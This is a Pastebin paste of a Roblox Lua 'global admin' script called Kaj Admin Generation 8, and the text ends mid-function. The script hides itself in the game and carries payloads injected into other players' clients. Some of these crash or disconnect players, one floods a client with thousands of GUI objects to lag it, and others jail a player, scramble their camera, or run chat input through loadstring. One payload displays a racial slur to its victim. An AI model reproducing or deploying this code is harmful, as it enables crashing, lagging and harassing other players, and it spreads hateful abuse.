Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --((Rare[Main{GLOBAL}Kaj Admin Generation 8
- --[[
- Kaj Admin Generation 8
- Lol global admin
- ]]
- if script then
- coroutine.yield()
- script.Parent = nil
- end
- --[[Stuff]]--
- VR = _VERSION
- Plrs = game:GetService("Players")
- Work = game:GetService("Workspace")
- Light = game:GetService("Lighting")
- Net = game:GetService("NetworkServer")
- Removed = false
- Bet = "/"
- LS = nil
- LSSource = nil
- OwnSource = nil
- FoundLocalScript = false
- LogOn = false
- Current = game
- Clipboard = {}
- AlertColor = Color3.new(0, 0, 0)
- OptionColor = Color3.new(0, 0, 0)
- ImportantColor = Color3.new(0, 0, 0)
- --[[Ranks]]--
- RankDetails = {
- [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
- [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
- [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
- [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
- [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
- [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
- [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
- [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator)"},
- [5] = {Name = "Maximum Adminstrator", Color = Color3.new(0, 0,1), Desc = "Maximum Adminstrator"},
- }
- Rankings = {
- {Name = "supreim", Rank = 5},
- }
- --[[End of Ranks]]--
- ImportantServices = {
- "Workspace",
- "Players",
- "NetworkServer",
- "Lighting",
- "StarterGui",
- "Teams",
- "StarterPack",
- }
- Ranks = {}
- Commands = {}
- AllTabs = {}
- Injected = {}
- Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
- "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
- "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
- "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
- "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
- "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
- "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
- "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
- "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
- "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
- "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
- "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
- "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
- "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
- "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
- "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
- "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
- "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
- "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
- "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
- "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
- "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
- "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
- "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
- "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
- "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
- "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
- "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
- "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
- "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
- "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
- "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
- "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
- "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
- "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
- "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
- "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
- "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
- "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
- "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
- "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
- "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
- "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
- "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
- "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
- "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
- "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
- "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
- "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
- "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
- "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
- "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
- "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
- "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
- "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
- "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
- "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
- "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
- "X","Y"}
- --Main Functions And Sources
- function Insert(Source, Par, Par2, Par3)
- ypcall(function()
- local Inserted = LS:Clone()
- Inserted.Disabled = true
- Inserted.Parent = Par or Par2 or Par3
- Inserted[LSSource].Value = Source
- Inserted.Disabled = false
- end)
- end
- function CheckImportant(Name)
- for _,v in pairs(ImportantServices) do
- if v:lower() == Name:lower() then
- return true
- end
- end
- return false
- end
- function Crash1(Plr)
- ypcall(function()
- Plr:Kick()
- end)
- end
- function GetRankTab()
- return Rankings
- end
- function Crash2(Name)
- local Crasher = Instance.new("StringValue")
- Crasher.Name = "Client"
- Crasher.Value = string.lower(tostring(Name))
- Crasher.Parent = game:GetService("Lighting")
- wait(1)
- if Crasher and Crasher.Parent then
- ypcall(function()
- Crasher:Destroy()
- end)
- end
- end
- function Crash3(v, Speaker)
- Speaker.Character.Archivable = true
- local NChar = Speaker.Character:Clone()
- NChar.Name = v.Name
- NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
- NChar.Parent = Workspace
- v.Character = NChar
- coroutine.resume(coroutine.create(function()
- repeat v.Character = NChar
- wait(1/3) until false
- end))
- wait(.5)
- Insert(InsertCrash, NChar, nil, nil)
- end
- function GenerateDigit()
- return 1 + 5
- end
- NilS = [==[
- if script then
- coroutine.yield()
- script.Parent = nil
- end
- Player=game.Players.LocalPlayer
- Probe=Instance.new'Part';
- CN='Kaj TabletsNil | ['..Player.Name..']'
- Camera=Workspace.CurrentCamera
- Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
- Char = Player.Character
- if Char then
- Char.Archivable = true
- Char = Char:clone()
- local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
- if t then
- for k,v in pairs(Char:GetChildren()) do
- if not v:IsA("Part") then
- v:clone().Parent = t
- end
- end
- Char = t:clone()
- if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
- local spot = Instance.new("SpotLight",Char.Head)
- spot.Angle = 10
- spot.Range = 10
- spot.Color = Color3.new(1,1,1)
- spot.Brightness = 10
- local point = Instance.new("PointLight",Char.Head)
- point.Range = 10
- point.Color = Color3.new(1,1,1)
- point.Brightness = 10
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- while true do wait(0.00000001)
- pcall(function()
- if Character.Torso.CFrame.Y < 1 then
- Character.Torso.CFrame = CFrame.new(0,20,0)
- end
- end)
- end
- end))
- Title=function(txt,part,color,rise)
- col=nil
- col=Color3.new(BrickColor.new(color))
- local Gui = Instance.new("BillboardGui",part)
- Gui.Name = "3DGUI"
- Gui.ExtentsOffset = Vector3.new(0,2,0)
- Gui.Size = UDim2.new(8,0,2,0)
- local Tit = Instance.new("TextLabel",Gui)
- Tit.Name = "Title"
- Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
- Tit.TextColor3 = Color3.new(0,0,0)
- Tit.TextTransparency = 0.25
- Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
- Tit.TextStrokeTransparency = 0.5
- Tit.Size = UDim2.new(1,0,1,0)
- Tit.BackgroundTransparency = 1
- Tit.Font = "ArialBold"
- Tit.TextScaled = true
- Tit.Text = txt
- if rise then
- if not tonumber(rise) then rise = 1 end
- coroutine.wrap(function()
- while Tit.Parent and Gui.Parent and wait() do
- Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
- end
- end)()
- end
- return Tit
- end
- Chat=function(Part,Text,Color,Type)
- if Type==nil or Type==1 or Type=='Bubble' then
- game:service'Chat':Chat(Part,Text,Color)
- else
- if type(Color)~='string' then
- Color=tostring(BrickColor.random())
- end
- Title(Text,Part,Color,math.random(1,3))
- end
- end
- DestroyCharacter=function()
- local chara = Player.Character
- if not chara then return end
- if chara:findFirstChild("Humanoid") then
- chara.Humanoid:Destroy()
- end
- chara:BreakJoints()
- for k,v in pairs(chara:GetChildren()) do
- if v:IsA("BasePart") then
- v.CanCollide = false
- v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
- v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
- end
- end
- game.Debris:AddItem(chara,3)
- end
- MakeProbe=function()
- if Player.Character then DestroyCharacter() end Player.Character = nil
- if Probe then Probe:Destroy() end
- Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
- Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
- Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
- Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
- coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
- Player.Character=Probe
- end
- Spawn=function()
- if Char then
- local c = Char:clone()
- c.Name = CN
- c.Parent = workspace
- c:MoveTo(workspace.CurrentCamera.Focus.p)
- Player.Character = c
- workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
- workspace.CurrentCamera.CameraType = "Custom"
- Probe:Destroy()
- end
- end
- Player.Chatted:connect(function(Msg)
- game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
- if Msg:sub(1,2) == '//' then
- local Func,Error=loadstring(Msg:sub(3))
- if Error==nil then
- pcall(Func)
- if Player.Character then
- game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
- end
- else
- if Player.Character then
- game:service'Chat':Chat(Player.Character.Head,Error,'Red')
- else
- local Msg=Instance.new'Message'
- Msg.Parent=Workspace.CurrentCamera
- Msg.Text=Error
- game:service'Debris':AddItem(Msg,5)
- end
- end
- elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
- NewMsg=Msg:sub(#('newlocal')+3)
- Split=NewMsg:find('/')
- local PlayerName=NewMsg:sub(1,Split-1)
- local Source=NewMsg:sub(Split+1)
- Player=nil
- for i,v in pairs(game.Players:GetPlayers()) do
- if v.Name:lower():sub(1,#PlayerName)==PlayerName then
- if Player==nil then
- Player=v
- else
- if type(Player) == 'table' then
- Player[#Player+1]=v
- else
- Player={v}
- end
- end
- end
- end
- if type(Player)=='table' then
- for i,v in pairs(Player) do
- if newLocalScript then
- newLocalScript(Source,v.Character)
- else
- Clone=script:clone();
- SourceC=Clone:children()[1]
- if SourceC:IsA'StringValue' then
- print'String'
- else
- SourceC=Clone:children()[2]
- end
- SourceC.Value=Source
- Clone.Disabled=true
- Clone.Parent=v.Character
- Clone.Disabled=false
- end
- end
- else
- if newLocalScript then
- newLocalScript(Source,Player.Character)
- else
- Clone=script:clone();
- DS=Clone:children()
- DSS=nil
- for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
- DSS.Value=Source
- Clone.Disabled=true;
- Clone.Parent=Player.Character
- Clone.Disabled=false
- end
- end
- elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
- game:service'TeleportService':Teleport(Game.PlaceId)
- elseif Msg:sub(1,#('probe')+2) == '/probe/' then
- MakeProbe()
- elseif Msg:sub(1,#('char')+2) =='/char/' then
- Spawn()
- elseif Msg:sub(1,#('ban')+2) == '/ban/' then
- Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
- if Player then
- repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
- end
- end
- wait()
- if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
- if Probe then
- Chat(Probe,Msg,math.random(0,2))
- else
- if Player.Character==nil then
- if Char then
- Chat(Char.Head,Msg,math.random(0,2))
- end
- else
- Chat(Player.Character.Head,Msg,'Red')
- end
- end
- end
- end) -- local
- ]==]
- InjectionCrash = [=[
- wait(0)
- script.Parent = nil
- local Lig = game:GetService("Lighting")
- local LP = game:GetService("Players").LocalPlayer
- local LowerName = LP.Name:lower()
- Lig.ChildAdded:connect(function(Obj)
- if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
- pcall(function()
- Obj:Destroy()
- end)
- LP.Parent = nil
- LP.Parent = game:GetService("Players")
- end
- end)
- ]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
- InsertCrash = [==[
- local LP = game:GetService("Players").LocalPlayer
- LP.Parent = nil
- LP.Parent = game:GetService("Players")
- ]==]
- LagSource = [==[
- wait(0)
- script.Parent = nil
- plr = game:GetService("Players").LocalPlayer
- local plrgui = plr:findFirstChild("PlayerGui")
- if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
- while plr.Parent == game:GetService("Players") do
- wait()
- for i = 1, 1000 do
- local sc = Instance.new("ScreenGui",plrgui)
- local fr = Instance.new("TextLabel",sc)
- fr.Text = "LAGGING"
- fr.Size = UDim2.new(1, 0, 1, 0)
- fr.FontSize = "Size48"
- end
- end
- ]==]
- MuteSource = [==[
- game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
- ]==]
- UnMuteSource = [==[
- game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
- ]==]
- FunScript = [[
- LP = game:service'Players'.LocalPlayer
- Shapes = {"Ball", "Block"}
- wait()
- script.Parent = nil
- Delay(0, function()
- while wait() do
- workspace.CurrentCamera.CameraType = "Scriptable"
- workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
- workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
- workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
- local Part = Instance.new("Part", workspace.CurrentCamera)
- Part.Shape = Shapes[math.random(1, 2)]
- Part.Anchored = true
- Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
- Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
- Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
- local Smoke = Instance.new("Smoke", Part)
- Smoke.Color = Color3.new(math.random(), math.random(), math.random())
- Smoke.Opacity = 0.7
- local Sparkles = Instance.new("Sparkles", Part)
- Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
- local Fire = Instance.new("Fire", Part)
- Fire.Color = Color3.new(math.random(), math.random(), math.random())
- Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
- local Ex = Instance.new("Explosion", workspace.CurrentCamera)
- Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
- Ex.BlastPressure = 15
- Ex.BlastRadius = 12.5
- if not workspace.CurrentCamera:findFirstChild("Hint") then
- local mes = Instance.new("Hint", workspace.CurrentCamera)
- mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
- end
- end
- end)
- ]]
- JailSource = [==[
- wait(0)
- script.Parent = nil
- local LP = game:GetService("Players").LocalPlayer
- Middle2 = nil
- Middle = nil
- game:GetService("Workspace").CurrentCamera:ClearAllChildren()
- Cons = {}
- function makePrison()
- for _,v in pairs(Cons) do
- v:disconnect()
- end
- game:GetService("Workspace").CurrentCamera:ClearAllChildren()
- if Middle == nil then
- Middle2 = LP.Character.Torso.Position
- Middle = LP.Character.Torso.CFrame
- end
- local side1 = Instance.new("Part")
- side1.Name = "¬Focus1¬"
- side1.Size = Vector3.new(20, 50, 1)
- side1.CFrame = Middle * CFrame.new(0, 0, -10)
- side1.BrickColor = BrickColor.new("Really black")
- side1.CanCollide = true
- side1.Anchored = true
- side1.TopSurface = "Smooth"
- side1.BottomSurface = "Smooth"
- side1.Parent = game:GetService("Workspace").CurrentCamera
- local side2 = Instance.new("Part")
- side2.Name = "¬Focus2¬"
- side2.Size = Vector3.new(20, 50, 1)
- side2.CFrame = Middle * CFrame.new(0, 0, 10)
- side2.BrickColor = BrickColor.new("Really black")
- side2.CanCollide = true
- side2.Anchored = true
- side2.TopSurface = "Smooth"
- side2.BottomSurface = "Smooth"
- side2.Parent = game:GetService("Workspace").CurrentCamera
- local side3 = Instance.new("Part")
- side3.Name = "¬Focus3¬"
- side3.Size = Vector3.new(1, 50, 20)
- side3.CFrame = Middle * CFrame.new(10, 0, 0)
- side3.BrickColor = BrickColor.new("Really black")
- side3.CanCollide = true
- side3.Anchored = true
- side3.TopSurface = "Smooth"
- side3.BottomSurface = "Smooth"
- side3.Parent = game:GetService("Workspace").CurrentCamera
- local side4 = Instance.new("Part")
- side4.Name = "¬Focus4¬"
- side4.Size = Vector3.new(1, 50, 20)
- side4.CFrame = Middle * CFrame.new(-10, 0, 0)
- side4.BrickColor = BrickColor.new("Really black")
- side4.CanCollide = true
- side4.Anchored = true
- side4.TopSurface = "Smooth"
- side4.BottomSurface = "Smooth"
- side4.Parent = game:GetService("Workspace").CurrentCamera
- local side5 = Instance.new("Part")
- side5.Name = "¬Focus5¬"
- side5.Size = Vector3.new(20, 1, 20)
- side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
- side5.BrickColor = BrickColor.new("Really black")
- side5.CanCollide = true
- side5.Anchored = true
- side5.TopSurface = "Smooth"
- side5.BottomSurface = "Smooth"
- side5.Parent = game:GetService("Workspace").CurrentCamera
- wait(0)
- table.insert(Cons, side1.Changed:connect(makePrison))
- table.insert(Cons, side2.Changed:connect(makePrison))
- table.insert(Cons, side3.Changed:connect(makePrison))
- table.insert(Cons, side4.Changed:connect(makePrison))
- table.insert(Cons, side5.Changed:connect(makePrison))
- end
- Delay(0, function()
- while wait(0) do
- ypcall(function()
- if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
- LP.Character:BreakJoints()
- elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
- makePrison()
- end
- end)
- ypcall(function()
- if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
- LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
- end
- end)
- end
- end)
- ]==]
- function All()
- local AllPlayers = {}
- for _,v in pairs(Plrs:GetPlayers()) do
- ypcall(function()
- table.insert(AllPlayers, v)
- end)
- end
- return AllPlayers
- end
- function All2()
- local AllPlayers2 = {}
- for i,v in pairs(Net:GetChildren()) do
- ypcall(function()
- if v:IsA("ServerReplicator") then
- table.insert(AllPlayers2, v:GetPlayer())
- end
- end)
- end
- return AllPlayers2
- end
- function MakeNum()
- return 2 + 4
- end
- function ChangeRank(Plr, NewRank)
- local PlrName = nil
- local FoundPlayer = false
- ypcall(function()
- if type(Plr) == "string" then
- ypcall(function()
- for i,v in pairs(Rankings) do
- if v.Name:lower() == Plr:lower() then
- local VName = v.Name
- Rankings[i] = nil
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- PlrName = VName
- FoundPlayer = true
- break
- end
- end
- end)
- if FoundPlayer == false then
- ypcall(function()
- for _,x in pairs(All()) do
- if x.Name:lower() == Plr:lower() then
- FoundPlayer = true
- for i,v in pairs(Rankings) do
- if v.Name:lower() == x.Name:lower() then
- local VName = x.Name
- Rankings[i] = nil
- PlrName = VName
- break
- end
- end
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- end
- end
- end)
- end
- if FoundPlayer == false then
- ypcall(function()
- for _,x in pairs(All()) do
- if string.find(x.Name:lower(), Plr:lower()) then
- FoundPlayer = true
- for i,v in pairs(Rankings) do
- if v.Name:lower() == x.Name:lower() then
- local VName = x.Name
- Rankings[i] = nil
- PlrName = VName
- break
- end
- end
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- end
- end
- end)
- end
- if FoundPlayer == false then
- ypcall(function()
- for i,v in pairs(Rankings) do
- if string.find(v.Name:lower(), Plr:lower()) then
- local VName = v.Name
- Rankings[i] = nil
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- PlrName = VName
- FoundPlayer = true
- break
- end
- end
- end)
- end
- else
- for i,v in pairs(Rankings) do
- if v.Name:lower() == Plr.Name:lower() then
- Rankings[i] = nil
- break
- end
- end
- table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
- PlrName = Plr.Name
- end
- PlaceAllRanks(true)
- end)
- if PlrName ~= nil then
- return PlrName
- else
- return "Player"
- end
- end
- function Refresh(Plr)
- MakeChildren(Plr)
- end
- function MakeChildren(Plr)
- ypcall(function()
- Dismiss(Plr)
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end)
- elseif Plrs:GetPlayerFromCharacter(v) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- elseif CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, ImportantColor)
- end
- end)
- end
- if Current ~= game then
- Ping("Back", Plr, nil, function()
- ypcall(function()
- Current = Current.Parent
- MakeChildren(Plr)
- Ping("You Are Back To "..Current.Name, Plr, 5)
- end)
- end, OptionColor)
- end
- if Current ~= game then
- Ping("Delete", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Destroy()
- Current = CurrPar
- MakeChildren(Plr)
- Ping("Attempted To Delete "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- end
- Ping("Refresh", Plr, nil, function()
- ypcall(function()
- Refresh(Plr)
- Ping("Refreshed", Plr, 5)
- end)
- end, OptionColor)
- Ping("Properties", Plr, nil, function()
- ypcall(function()
- Dismiss(Plr)
- for Property, Value in pairs(GetProperties(Current)) do
- Ping(tostring(Property)..": "..tostring(Value), Plr)
- end
- Ping("Got All Available Properties", Plr, 5)
- Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
- end)
- end, OptionColor)
- end)
- end
- function Fixl()
- Light.GlobalShadows = true
- Light.TimeOfDay = "14:00:00"
- Light.Brightness = 0.5
- Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
- Light.Ambient = Color3.new(1, 1, 1)
- Light.ColorShift_Top = Color3.new(0, 0, 0)
- Light.ColorShift_Bottom = Color3.new(0, 0, 0)
- Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
- Light.FogStart = 0
- Light.FogEnd = 100000
- Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
- Light:ClearAllChildren()
- end
- function GetProperties(obj)
- assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
- local objProper = {}
- for i,v in pairs(Properties) do
- if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
- objProper[v] = obj[v]
- end
- end
- return objProper
- end
- function MakeExplorer(Plr)
- Dismiss(Plr)
- Current = game
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end)
- elseif Plrs:GetPlayerFromCharacter(v) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- elseif CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, ImportantColor)
- end
- end)
- end
- if Current ~= game then
- Ping("Back", Plr, nil, function()
- ypcall(function()
- Current = Current.Parent
- MakeChildren(Plr)
- Ping("Back In "..Current.Name, Plr, 5)
- end)
- end, OptionColor)
- end
- if Current ~= game and game:GetService(Current.Name) == nil then
- Ping("Delete", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Destroy()
- Current = CurrPar
- MakeChildren(Plr)
- Ping("Attempted To Delete "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- end
- Ping("Refresh", Plr, nil, function()
- ypcall(function()
- Refresh(Plr)
- Ping("Refreshed", Plr, 5)
- end)
- end, OptionColor)
- Ping("Properties", Plr, nil, function()
- ypcall(function()
- Dismiss(Plr)
- for Property, Value in pairs(GetProperties(Current)) do
- Ping(tostring(Property)..": "..tostring(Value), Plr)
- end
- Ping("Got All Available Properties", Plr, 5)
- Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
- end)
- end, OptionColor)
